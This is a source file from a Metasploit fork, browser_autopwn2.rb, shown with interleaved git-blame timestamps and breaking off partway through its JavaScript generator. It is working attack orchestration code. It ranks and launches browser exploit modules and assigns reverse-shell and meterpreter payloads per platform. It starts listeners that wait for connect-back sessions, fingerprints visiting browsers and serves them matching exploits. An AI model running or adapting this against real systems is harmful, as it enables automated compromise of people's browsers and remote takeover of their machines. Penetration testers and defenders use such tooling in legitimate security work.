Files
metasploit-gs/lib/msf/core/exploit/browser_autopwn2.rb
T

826 lines
27 KiB
Ruby
Raw Normal View History

2015-04-14 01:33:02 -05:00
###
#
2015-07-14 17:38:51 -05:00
# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn.
2015-05-18 17:56:17 -05:00
# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based
# exploits to perform a faster and smarter automated client-side attack.
2015-04-14 01:33:02 -05:00
#
###
2015-06-18 00:40:47 -05:00
require 'date'
2015-04-14 01:33:02 -05:00
module Msf
2015-07-14 17:38:51 -05:00
module Exploit::Remote::BrowserAutopwn2
2015-04-14 01:33:02 -05:00
include Msf::Exploit::Remote::BrowserExploitServer
2015-04-14 19:03:08 -05:00
# @return [Array] A list of initialized BAP exploits
2015-04-14 01:33:02 -05:00
attr_reader :bap_exploits
# @return [Array] A list of exploit job IDs
attr_reader :exploit_job_ids
# @return [Array] A list of payload job IDs
attr_reader :payload_job_ids
2015-05-13 23:41:05 -05:00
2015-05-25 01:42:34 -05:00
# @return [Array] Wanted payloads.
attr_reader :wanted_payloads
2015-04-14 01:33:02 -05:00
2015-04-14 17:05:33 -05:00
# The default platform-specific payloads and preferred LPORTS.
# The hash key is the name of the platform that matches what's on the module.
2015-05-18 18:41:37 -05:00
# The loader order is specific while starting them up.
2015-05-24 12:47:20 -05:00
# Firefox payloads use generic handlers.
2015-04-14 01:33:02 -05:00
DEFAULT_PAYLOADS = {
2015-05-29 13:43:20 -05:00
firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 },
android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 },
win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 },
linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
unix: { payload: 'cmd/unix/reverse', lport: 4446 },
osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 },
java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 },
generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 }
2015-04-14 01:33:02 -05:00
}
2015-04-14 19:03:08 -05:00
# Returns all the found exploit modules that support BrowserExploitServer by going through all
2015-05-18 18:41:37 -05:00
# the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.
2015-04-14 01:33:02 -05:00
#
# @return [void]
def init_exploits
2015-04-30 00:32:33 -05:00
# First we're going to avoid using #find_all because that gets very slow.
2015-05-25 01:58:34 -05:00
framework.exploits.each_pair do |fullname, place_holder|
# If the place holder isn't __SYMBOLIC__, then that means the module is initialized,
# and that's gotta be the active browser autopwn.
2015-05-29 17:41:02 -05:00
next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"
2015-05-07 19:26:38 -05:00
2015-05-13 18:05:10 -05:00
# The user gets to specify which modules to include/exclude
2015-07-05 18:21:45 -05:00
next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']
2015-05-07 19:26:38 -05:00
2015-04-30 00:32:33 -05:00
mod = framework.exploits.create(fullname)
unless mod
print_status("Failed to load: #{fullname}")
2015-04-14 01:33:02 -05:00
next
end
2015-05-08 00:28:46 -05:00
if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
2015-04-30 00:32:33 -05:00
@bap_exploits << mod
end
2015-04-14 13:30:34 -05:00
end
2015-04-14 01:33:02 -05:00
end
2015-05-14 23:32:11 -05:00
# Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid).
# This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP
2015-05-18 18:41:37 -05:00
# and all of its child exploits can share target information with each other. If BAP is active
# but there are other standalone BES exploits running, this allows them not to use (or cleanup)
# each other's data. Also, once requested, the method will not generate another profile prefix
# again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.
2015-05-14 23:32:11 -05:00
#
# @return [String]
def browser_profile_prefix
2015-07-02 13:45:38 -05:00
@browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
2015-05-13 13:46:06 -05:00
end
# Removes background exploit jobs that belong to BAP.
#
# @return [void]
def rm_exploit_jobs
exploit_job_ids.each do |id|
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
2015-07-14 13:10:57 -05:00
sleep(0.1)
end
2015-05-13 13:46:06 -05:00
end
2015-05-14 23:32:11 -05:00
# Removes background payload jobs that belong to BAP.
2015-05-14 23:32:11 -05:00
#
# @return [void]
def rm_payload_jobs
payload_job_ids.each do |id|
2015-05-18 18:41:37 -05:00
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
2015-05-13 23:41:05 -05:00
end
end
2015-05-14 23:32:11 -05:00
# Cleans up everything such as profiles and jobs.
2015-05-14 23:32:11 -05:00
#
# @see #rm_exploit_jobs The method for cleaning up jobs.
# @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information.
2015-05-14 23:32:11 -05:00
# @return [void]
2015-05-13 13:46:06 -05:00
def cleanup
2015-07-14 13:10:57 -05:00
print_status("Cleaning up jobs...")
2015-06-05 11:11:40 -05:00
super
2015-07-05 19:07:10 -05:00
configure_job_output(false)
clear_browser_profiles
rm_exploit_jobs
rm_payload_jobs
2015-05-13 13:46:06 -05:00
end
2015-04-14 01:33:02 -05:00
2015-05-18 18:41:37 -05:00
# Modifies an exploit's default datastore options. Some of them are user-configurable,
# some must be defined by BAP.
2015-04-14 01:33:02 -05:00
#
# @return [void]
def set_exploit_options(xploit)
2015-05-13 15:34:01 -05:00
# We could do a massive xploit.datastore.merge!(self.datastore), but this seems
# really expensive. Costs more loading time.
# Set options configurable by the user.
2015-04-28 21:26:31 -05:00
p = select_payload(xploit)
2015-05-25 01:42:34 -05:00
xploit.datastore['PAYLOAD'] = p.first[:payload_name]
xploit.datastore['LPORT'] = p.first[:payload_lport]
2015-05-13 15:34:01 -05:00
xploit.datastore['SRVHOST'] = datastore['SRVHOST']
xploit.datastore['SRVPORT'] = datastore['SRVPORT']
2015-05-13 15:34:01 -05:00
xploit.datastore['LHOST'] = get_payload_lhost
2016-05-20 16:59:36 -05:00
%w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
xploit.datastore[opt] = datastore[opt] if datastore[opt]
end
2015-05-13 15:34:01 -05:00
# Set options only configurable by BAP.
2015-05-12 01:47:03 -05:00
xploit.datastore['DisablePayloadHandler'] = true
xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix
2015-05-13 15:34:01 -05:00
xploit.datastore['URIPATH'] = "/#{assign_module_resource}"
2015-07-14 12:22:38 -05:00
xploit.datastore['WORKSPACE'] = self.workspace
2015-07-14 11:40:28 -05:00
# Register this module as a child and copy datastore options
xploit.register_parent(self)
2015-04-14 01:33:02 -05:00
end
2015-04-14 17:05:33 -05:00
# Checks if a resource is already taken or not.
2015-04-14 01:33:02 -05:00
#
2015-06-27 12:19:07 -05:00
# @param resource [String] The resource to check.
2015-04-14 17:05:33 -05:00
# @return [TrueClass] Resource is taken.
# @return [FalseClass] Resource is not taken.
2015-04-14 01:33:02 -05:00
def is_resource_taken?(resource)
taken = false
bap_exploits.each do |m|
2015-07-14 11:40:28 -05:00
# Prevent partial matching of one resource within another
2015-07-14 12:22:38 -05:00
next unless m.datastore['URIPATH']
2015-07-14 11:40:28 -05:00
return true if m.datastore['URIPATH'].index(resource)
return true if resource.index(m.datastore['URIPATH'])
2015-04-14 01:33:02 -05:00
end
taken
end
2015-04-14 17:05:33 -05:00
# Returns a unique resource path.
2015-04-14 01:33:02 -05:00
#
2015-04-14 17:05:33 -05:00
# @return [String] A unique resource path.
2015-04-14 01:33:02 -05:00
def assign_module_resource
resource = ''
while
resource = Rex::Text.rand_text_alpha(rand(10) + 4)
break unless is_resource_taken?(resource)
end
resource
end
2015-04-14 17:05:33 -05:00
# Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top.
2015-05-18 18:41:37 -05:00
# This method is part of what makes BAP smarter. However, the list rearranged by this exploit
# will not actually be the same exploit list served to every client. When a client a request,
# #get_suitable_exploits will generate another list that will actually be used by the client
# by going through what we have here, and filter out all the exploit modules that don't match
# the target's requirements.
2015-04-14 13:30:34 -05:00
#
2015-04-14 19:03:08 -05:00
# @see #bap_exploits The read-only attribute.
# @see #sort_date_in_group The method for sorting by disclosure date
# @see #sort_group_by_rank The method for sorting by rank
# @see #sort_bap_modules The method for breaking the module list into groups
# @see #finalize_sorted_modules The method for finalizing bap_exploits
2015-05-18 18:41:37 -05:00
# @see #get_suitable_exploits
2015-04-14 13:30:34 -05:00
# @return [void]
2015-04-14 17:05:33 -05:00
def sort_bap_exploits
bap_groups = group_bap_modules
bap_groups = sort_date_in_group(bap_groups)
bap_groups = sort_group_by_rank(bap_groups)
finalize_sorted_modules(bap_groups)
end
# Sorts a grouped module list by disclosure date.
#
2015-06-27 12:19:07 -05:00
# @param bap_groups [Hash] A grouped module list.
2015-04-14 17:05:33 -05:00
# @return [Hash] A hash with each module list sorted by disclosure date.
def sort_date_in_group(bap_groups)
bap_groups.each_pair do |ranking, module_list|
2015-07-14 11:40:28 -05:00
bap_groups[ranking] = module_list.sort_by {|m|
dstr = m.disclosure_date || "1970-01-01"
Date.parse(dstr) rescue Date.parse("1970-01-01")
}.reverse
2015-04-14 17:05:33 -05:00
end
2015-04-14 13:30:34 -05:00
end
2015-04-14 17:05:33 -05:00
# Sorts a module list by ranking.
2015-04-14 13:30:34 -05:00
#
2015-06-27 12:19:07 -05:00
# @param bap_groups [Hash] A grouped module list.
2015-04-14 17:05:33 -05:00
# @return [Hash] A hash grouped by ranking.
def sort_group_by_rank(bap_groups)
Hash[bap_groups.sort_by {|k,v| k}.reverse]
end
2015-04-14 19:03:08 -05:00
# Breaks @bap_exploits into groups for sorting purposes.
2015-04-14 17:05:33 -05:00
#
2015-05-18 18:41:37 -05:00
# @see #bap_exploits
2015-04-14 17:05:33 -05:00
# @return [Hash] A module list grouped by rank.
def group_bap_modules
bap_groups = {}
RankingName.each_pair do |ranking, value|
bap_groups[ranking] = []
bap_exploits.each do |m|
next if m.rank != ranking
bap_groups[ranking] << m
end
end
bap_groups
end
# Modifies @bap_exploit by replacing it with the rearranged module list.
#
2015-04-14 19:03:08 -05:00
# @see #bap_exploits The read-only attribute.
2015-06-27 12:19:07 -05:00
# @param bap_groups [Hash] A grouped module list.
2015-04-14 13:30:34 -05:00
# @return [void]
2015-05-13 16:23:22 -05:00
def finalize_sorted_modules(bap_groups)
2015-04-14 17:05:33 -05:00
@bap_exploits = []
bap_groups.each_pair do |ranking, module_list|
module_list.each do |m|
2015-07-05 18:21:45 -05:00
break if @bap_exploits.length >= datastore['MaxExploitCount']
2015-04-14 17:05:33 -05:00
@bap_exploits << m
end
end
2015-04-14 13:30:34 -05:00
end
2015-05-14 23:32:11 -05:00
# Returns a payload name. Either this will be the user's choice, or falls back to a default one.
#
2015-05-18 18:41:37 -05:00
# @see DEFAULT_PAYLOADS The default settings.
2015-06-27 12:19:07 -05:00
# @param platform [Symbol] Platform name.
2015-05-18 18:41:37 -05:00
# @return [String] Payload name.
2015-05-07 19:26:38 -05:00
def get_selected_payload_name(platform)
2015-05-29 13:43:20 -05:00
payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]
2015-05-07 19:26:38 -05:00
# The payload is legit, we can use it.
2015-05-12 01:55:22 -05:00
# Avoid #create seems faster
return payload_name if framework.payloads.keys.include?(payload_name)
2015-05-07 19:26:38 -05:00
2015-05-29 13:43:20 -05:00
default = DEFAULT_PAYLOADS[platform][:payload]
2015-05-07 19:26:38 -05:00
# The user has configured some unknown payload that we can't use,
# fall back to default.
default
end
2015-05-14 23:32:11 -05:00
# Returns the selected payload's LPORT.
#
2015-06-27 12:19:07 -05:00
# @param platform [Symbol]
# @return [Integer]
2015-05-07 19:26:38 -05:00
def get_selected_payload_lport(platform)
2015-05-29 13:43:20 -05:00
datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
2015-05-07 19:26:38 -05:00
end
2015-05-18 18:41:37 -05:00
# Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option),
# then the method automatically generates one by Rex.
2015-05-14 23:32:11 -05:00
#
# @return [String]
2015-05-07 20:54:30 -05:00
def get_payload_lhost
datastore['LHOST'] || Rex::Socket.source_address
end
# Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that
2015-05-18 18:41:37 -05:00
# we know how to find them and then clean them up.
2015-04-14 21:33:10 -05:00
#
2015-05-18 18:41:37 -05:00
# @note FireFox payload is skipped because there's no handler for it.
# @see #payload_job_ids
2015-04-14 21:33:10 -05:00
# @return [void]
def start_payload_listeners
2015-05-24 12:47:20 -05:00
# Spawn nothing if the user doesn't want to pop sessions.
2015-07-05 18:21:45 -05:00
return if datastore['MaxSessionCount'] == 0
2015-05-24 12:47:20 -05:00
# Don't repeat launching payload handlers
wanted_payloads.uniq! { |e| e[:payload_name] }
2015-04-29 01:01:36 -05:00
2015-05-24 12:47:20 -05:00
wanted_payloads.each do |wanted|
2015-05-25 01:58:34 -05:00
multi_handler = framework.exploits.create('multi/handler')
2015-05-24 12:47:20 -05:00
2015-05-25 01:42:34 -05:00
# We have to special case firefox
2015-05-24 12:47:20 -05:00
payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]
2015-07-11 23:24:01 -05:00
# User-configurable options
# multi_handler.datastore.merge!(self.datastore) could be used, but
2015-05-13 15:34:01 -05:00
# really expensive. Costs more loading time.
multi_handler.datastore['LHOST'] = get_payload_lhost
2015-05-24 12:47:20 -05:00
multi_handler.datastore['PAYLOAD'] = payload_name
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
2016-05-20 16:59:36 -05:00
2016-11-30 21:23:14 +08:00
%w(DebugOptions PrependMigrate PrependMigrateProc
2016-05-20 16:59:36 -05:00
InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
end
2015-05-13 15:34:01 -05:00
# Configurable only by BAP
multi_handler.datastore['ExitOnSession'] = false
2015-05-13 15:34:01 -05:00
multi_handler.datastore['EXITFUNC'] = 'thread'
2015-07-14 12:22:38 -05:00
multi_handler.datastore['WORKSPACE'] = self.workspace
2015-07-14 11:40:28 -05:00
# Register this module as a child and copy datastore options
multi_handler.register_parent(self)
2015-05-13 15:34:01 -05:00
# Now we're ready to start the handler
2015-04-14 21:33:10 -05:00
multi_handler.exploit_simple(
2015-07-05 19:07:10 -05:00
'LocalInput' => nil,
'LocalOutput' => nil,
2015-05-24 12:47:20 -05:00
'Payload' => payload_name,
2015-04-14 21:33:10 -05:00
'RunAsJob' => true
)
@payload_job_ids << multi_handler.job_id
2015-04-14 21:33:10 -05:00
end
end
2015-05-14 23:32:11 -05:00
# Returns the human-readable version of the rank.
#
# @param rank [Integer]
2015-05-14 23:32:11 -05:00
# @return [String]
2015-04-28 18:17:32 -05:00
def parse_rank(rank)
2015-05-13 18:05:10 -05:00
RankingName[rank].to_s.capitalize
2015-04-28 18:17:32 -05:00
end
2015-05-29 18:03:56 -05:00
# Checks whether the payload is compatible with the module based on platform information.
# Best for single-platform modules and for performance.
#
2015-06-27 12:19:07 -05:00
# @param m [Object] Module.
# @param payload_platform [Symbol] Payload platform.
2015-05-29 18:03:56 -05:00
# @return [TrueClass] Payload is compatible.
# @return [FalseClass] Payload is not compatible.
2015-05-25 11:46:18 -05:00
def is_payload_platform_compatible?(m, payload_platform)
begin
2015-05-29 13:43:20 -05:00
platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
2015-05-25 11:46:18 -05:00
rescue ArgumentError
false
end
return true if platform_obj && m.platform.platforms.include?(platform_obj)
false
end
2015-06-27 12:19:07 -05:00
# Checks whether the payload is compatible with the module based on the module's compatibility list
2015-05-29 18:03:56 -05:00
#
2015-06-27 12:19:07 -05:00
# @param compatible_payloads [Array] A list of payloads that are compatible
# @param payload_name [String]
2015-05-29 18:03:56 -05:00
# @return [TrueClass] Payload is compatible.
# @return [FalseClass] Payload is not compatible.
2015-06-27 12:19:07 -05:00
def is_payload_compatible?(compatible_payloads, payload_name)
compatible_payloads.each do |k|
2015-05-25 11:46:18 -05:00
return true if k[0] == payload_name
end
false
end
2015-05-29 18:03:56 -05:00
# Checks if the module is multi-platform based on the directory path.
#
2015-06-27 12:19:07 -05:00
# @param m [Object] Module.
2016-04-20 11:02:15 -07:00
# @return [TrueClass] is multi-platform.
# @return [FalseClass] is not multi-platform.
2015-05-25 11:46:18 -05:00
def is_multi_platform_exploit?(m)
m.fullname.include?('multi/')
end
2015-05-29 18:03:56 -05:00
# Returns an appropriate payload that's compatible with the module.
2015-05-14 23:32:11 -05:00
#
2015-06-27 12:19:07 -05:00
# @param m [Object] A module that's been initialized.
2015-06-05 21:06:20 -05:00
# @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp'
2015-04-28 18:17:32 -05:00
def select_payload(m)
2015-05-25 01:42:34 -05:00
compatible_payloads = []
2015-06-27 12:19:07 -05:00
module_payloads = nil
2015-05-25 01:42:34 -05:00
DEFAULT_PAYLOADS.each_pair do |platform, info|
2015-05-25 11:46:18 -05:00
payload_choice = {
:payload_name => get_selected_payload_name(platform),
:payload_lport => get_selected_payload_lport(platform)
}
2015-05-25 01:42:34 -05:00
2015-05-25 11:46:18 -05:00
if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
compatible_payloads << payload_choice
break
2015-06-27 12:19:07 -05:00
else
# The #compatible_payloads method is super expensive (slow). By doing it this way,
# I managed to shave off seconds.
module_payloads ||= m.compatible_payloads
if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
compatible_payloads << payload_choice
end
2015-04-28 18:17:32 -05:00
end
end
2015-05-25 11:46:18 -05:00
@wanted_payloads.concat(compatible_payloads)
2015-05-25 01:42:34 -05:00
compatible_payloads
2015-04-28 18:17:32 -05:00
end
2015-05-14 23:32:11 -05:00
# Starts exploits.
#
# @return [void]
2015-04-28 18:17:32 -05:00
def start_exploits
bap_exploits.each do |m|
2015-06-27 20:58:19 -05:00
set_exploit_options(m)
2015-04-28 18:17:32 -05:00
m.exploit_simple(
2015-07-05 19:07:10 -05:00
'LocalInput' => nil,
'LocalOutput' => nil,
2015-07-14 17:00:44 -05:00
'Quiet' => true,
2015-04-28 21:26:31 -05:00
'Target' => 0,
'Payload' => m.datastore['PAYLOAD'],
'RunAsJob' => true
2015-04-28 18:17:32 -05:00
)
@exploit_job_ids << m.job_id
2015-04-28 18:17:32 -05:00
end
end
2015-04-14 01:33:02 -05:00
# Sets up BAPv2. This is like our main function.
#
# @return [void]
def setup
2015-04-15 01:10:55 -05:00
t1 = Time.now
2015-06-05 12:14:43 -05:00
2015-04-14 01:33:02 -05:00
super
@bap_exploits = []
@exploit_job_ids = []
@payload_job_ids = []
2015-05-25 01:42:34 -05:00
@wanted_payloads = []
2015-05-21 00:05:14 -05:00
# #split might be expensive if the file is really big
2015-07-05 18:21:45 -05:00
@whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil
2015-04-29 01:01:36 -05:00
2015-04-14 01:33:02 -05:00
print_status("Searching BES exploits, please wait...")
init_exploits
2015-04-14 17:05:33 -05:00
sort_bap_exploits
2015-04-14 21:33:10 -05:00
2015-04-28 18:17:32 -05:00
print_status("Starting exploit modules...")
start_exploits
2015-04-29 01:01:36 -05:00
print_status("Starting listeners...")
start_payload_listeners
2015-04-15 01:10:55 -05:00
t2 = Time.now
2015-04-28 18:17:32 -05:00
print_status("Time spent: #{(t2-t1).inspect}")
2015-07-05 19:07:10 -05:00
configure_job_output(true)
end
# Configures the output of sub-jobs
#
# @return [void]
def configure_job_output(on=true)
(@exploit_job_ids + @payload_job_ids).each do |jid|
job = framework.jobs[jid.to_s]
next unless job
job.ctx.each do |m|
next unless m.respond_to? :user_output
m.user_output = on ? self.user_output : nil
break
end
end
2015-04-28 18:17:32 -05:00
end
2015-04-28 21:26:31 -05:00
2015-05-18 18:41:37 -05:00
# Prints all the exploits that BAP will consider using. But this isn't the actual list of
# exploits that BAP will use for each target.
2015-05-14 23:32:11 -05:00
#
# @return [void]
2015-04-28 21:26:31 -05:00
def show_ready_exploits
2015-05-13 13:51:59 -05:00
columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']
# If not verbose, you're not in dev mode.
# As an user, you shouldn't be using any of these paths anyway.
columns.delete('Path') if !datastore['VERBOSE']
2016-08-10 13:30:09 -05:00
table = Rex::Text::Table.new(
2015-04-29 21:55:21 -05:00
'Header' => 'Exploits',
'Indent' => 1,
2015-05-13 13:51:59 -05:00
'Columns' => columns
2015-04-28 21:26:31 -05:00
)
2015-04-29 21:55:21 -05:00
# Without the order, sometimes the Rex table messes up even though in the array
# the order looks right. So don't get rid of this.
order = 1
2015-04-28 21:26:31 -05:00
bap_exploits.each do |m|
2015-05-13 13:51:59 -05:00
row = []
row << order
row << parse_rank(m.rank)
row << m.shortname
row << m.datastore['URIPATH'] if datastore['VERBOSE']
2015-05-24 12:47:20 -05:00
row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
2015-05-13 13:51:59 -05:00
table << row
2015-04-29 21:55:21 -05:00
order += 1
2015-04-28 21:26:31 -05:00
end
print_line
2015-04-29 01:01:36 -05:00
print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
2015-04-28 21:26:31 -05:00
print_status("Exploits with the highest ranking and newest will be tried first.")
print_line
print_line table.to_s
end
2015-05-14 23:32:11 -05:00
# Prints information such as what exploits will be used, and the BAP URL.
#
# @return [void]
2015-04-28 18:17:32 -05:00
def start_service
super
2015-04-29 01:01:36 -05:00
show_ready_exploits
2015-06-05 12:14:43 -05:00
proto = (datastore['SSL'] ? "https" : "http")
2015-07-16 14:27:46 -05:00
if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
srvhost = datastore['URIHOST']
elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
srvhost = datastore['SRVHOST']
else
srvhost = Rex::Socket.source_address
end
if datastore['URIPORT'] && datastore['URIPORT'] != 0
srvport = datastore['URIPORT']
else
srvport = datastore['SRVPORT']
end
2015-06-05 12:14:43 -05:00
service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
print_good("Please use the following URL for the browser attack:")
print_good("BrowserAutoPwn URL: #{service_uri}")
2015-04-14 01:33:02 -05:00
end
2015-05-14 23:32:11 -05:00
2015-05-18 18:41:37 -05:00
# Returns a list of suitable exploits for the current client based on what #sort_bap_exploits
# gives us. It will do a global exploitable requirement check (the best it can do). There's
# actually a target-specific exploitable requirement check too, but that is performed in
# BrowserExploitServer while the exploit is being served. In other words, it is possible
# #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the
# exploit dev accurately defines his/her global requirements), but the exploit always has a
# choice to bail at the last second if it decides it is actually not suitable for the client.
# That way we don't risk being too wreckless with our attack.
2015-05-14 23:32:11 -05:00
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Array]
def get_suitable_exploits(cli, request)
2015-05-18 16:27:18 -05:00
current_exploit_list = []
tag = retrieve_tag(cli, request)
profile_info = browser_profile[tag]
2015-05-18 16:27:18 -05:00
bap_exploits.each do |m|
if m.get_bad_requirements(profile_info).empty?
current_exploit_list << m
end
end
2015-07-05 18:21:45 -05:00
if datastore['ShowExploitList']
show_exploit_list(cli.peerhost, tag, current_exploit_list)
2015-05-18 16:27:18 -05:00
end
current_exploit_list
end
2015-05-14 23:32:11 -05:00
2015-05-22 13:07:30 -05:00
# Logs a click that includes the suitable exploit list.
2015-05-22 12:57:06 -05:00
#
2015-06-27 12:19:07 -05:00
# @param ip [String] The target's IP address.
# @param data [String] (Optional) CSV data that contains the exploit list.
2015-05-22 12:57:06 -05:00
# @return [void]
2015-05-22 13:07:30 -05:00
def log_click(ip, data='')
2015-05-22 12:57:06 -05:00
report_note(
:host => ip,
2015-05-22 13:07:30 -05:00
:type => 'bap.clicks',
:data => data,
:update => :unique)
2015-05-22 12:57:06 -05:00
end
2015-05-18 18:41:37 -05:00
# Prints a list of suitable exploits for the current list.
#
# @see #sort_bap_exploits Explains how the exploit list is generated at first.
# @see #get_suitable_exploits Explains how we serve exploits to each client.
# @return [void]
2015-07-05 18:21:45 -05:00
def show_exploit_list(ip, tag, current_exploit_list)
2015-05-18 16:27:18 -05:00
order = 1
2016-08-10 13:30:09 -05:00
table = Rex::Text::Table.new(
2015-05-18 16:27:18 -05:00
'Header' => '',
'Indent' => 1,
'Columns' => ['Order', 'IP', 'Exploit']
)
current_exploit_list.each do |m|
table << [order, ip, m.shortname]
order += 1
end
if table.rows.empty?
2015-05-22 12:57:06 -05:00
print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
else
2015-05-22 13:07:30 -05:00
# Update the exploit list data
log_click(cli.peerhost, table.to_csv)
print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
end
2015-05-18 16:27:18 -05:00
end
2015-05-18 18:41:37 -05:00
# Returns a list of exploit URLs. This is used by #build_html so the client can load our
# exploits one by one.
2015-05-14 23:32:11 -05:00
#
2015-05-18 18:41:37 -05:00
# @see #build_html
2015-05-14 23:32:11 -05:00
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Array]
def get_exploit_urls(cli, request)
2015-05-10 16:50:32 -05:00
urls = []
exploit_list = get_suitable_exploits(cli, request)
exploit_list.each do |mod|
2015-05-13 15:34:01 -05:00
proto = datastore['SSL'] ? 'https' : 'http'
2015-07-14 15:09:23 -05:00
# We haven't URIHOST and URIPORT into account here because
# the framework uses them only on `get_uri`
2015-07-14 14:15:32 -05:00
host = ''
if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
host = datastore['URIHOST']
elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
2015-07-14 14:15:32 -05:00
host = datastore['SRVHOST']
else
host = Rex::Socket.source_address
end
if datastore['URIPORT'] && datastore['URIPORT'] != 0
port = datastore['URIPORT']
else
port = datastore['SRVPORT']
end
2015-05-10 16:50:32 -05:00
resource = mod.datastore['URIPATH']
url = "#{proto}://#{host}:#{port}#{resource}"
urls << url
end
urls
end
2015-05-14 23:32:11 -05:00
2015-05-21 00:08:04 -05:00
# Handles client requests specific for BAP.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [void]
2015-05-21 00:05:14 -05:00
def on_request_uri(cli, request)
# Check if target is on our whitelist
2015-05-21 00:05:14 -05:00
if @whitelist && !is_ip_targeted?(cli.peerhost)
2016-05-24 14:12:54 -05:00
print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.")
2015-05-21 00:05:14 -05:00
send_not_found(cli)
return
end
2015-05-22 13:07:30 -05:00
log_click(cli.peerhost)
2015-05-21 00:05:14 -05:00
super
end
2015-05-21 00:08:04 -05:00
# Returns true if the IP is on our whitelist.
#
# @param [String] cli_ip Client's IP.
# @return [TrueClass] The IP is on the whitelist.
# @return [FalseClass] The IP is not on the whitelist.
2015-05-21 00:05:14 -05:00
def is_ip_targeted?(cli_ip)
2015-05-21 00:36:40 -05:00
return true unless @whitelist
2015-05-21 00:05:14 -05:00
@whitelist.include?(cli_ip)
end
# Returns a number of sessions obtained by BAP's payload handlers.
#
# @return [Integer] A session count.
def session_count
total = 0
payload_job_ids.each do |id|
2015-07-10 13:09:42 -05:00
job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
if job_workspace == self.workspace
total += framework.jobs[id.to_s].ctx.first.session_count
end
end
total
end
# Returns the custom 404 URL set by the user
#
# @return [String]
def get_custom_404_url
datastore['Custom404'].to_s
end
2015-05-18 18:41:37 -05:00
# Returns the HTML that serves our exploits.
2015-05-14 23:32:11 -05:00
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
2015-05-18 18:41:37 -05:00
# @return [String] HTML
def build_html(cli, request)
exploit_list = get_exploit_urls(cli, request)
2015-07-05 18:21:45 -05:00
if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
if datastore['HTMLContent'].blank?
send_not_found(cli)
return ''
else
2015-07-05 18:21:45 -05:00
return datastore['HTMLContent']
end
2015-05-25 11:46:18 -05:00
elsif exploit_list.empty?
2016-05-24 14:12:54 -05:00
print_status("No suitable exploits to send for #{cli.peerhost}")
2015-07-05 18:21:45 -05:00
if datastore['HTMLContent'].blank?
send_not_found(cli)
return ''
else
2015-07-05 18:21:45 -05:00
return datastore['HTMLContent']
end
end
2015-05-25 01:42:34 -05:00
# Some Flash exploits don't seem to work well with a hidden iframe.
2015-05-10 16:50:32 -05:00
js = %Q|
var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];
2015-05-10 16:50:32 -05:00
function setElementStyle(e, opts) {
if (typeof e.style.setAttribute == 'undefined') {
var attributeString = '';
for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
e.setAttribute("style", attributeString);
} else {
for (var key in opts) {
e.style.setAttribute(key, opts[key]);
}
}
}
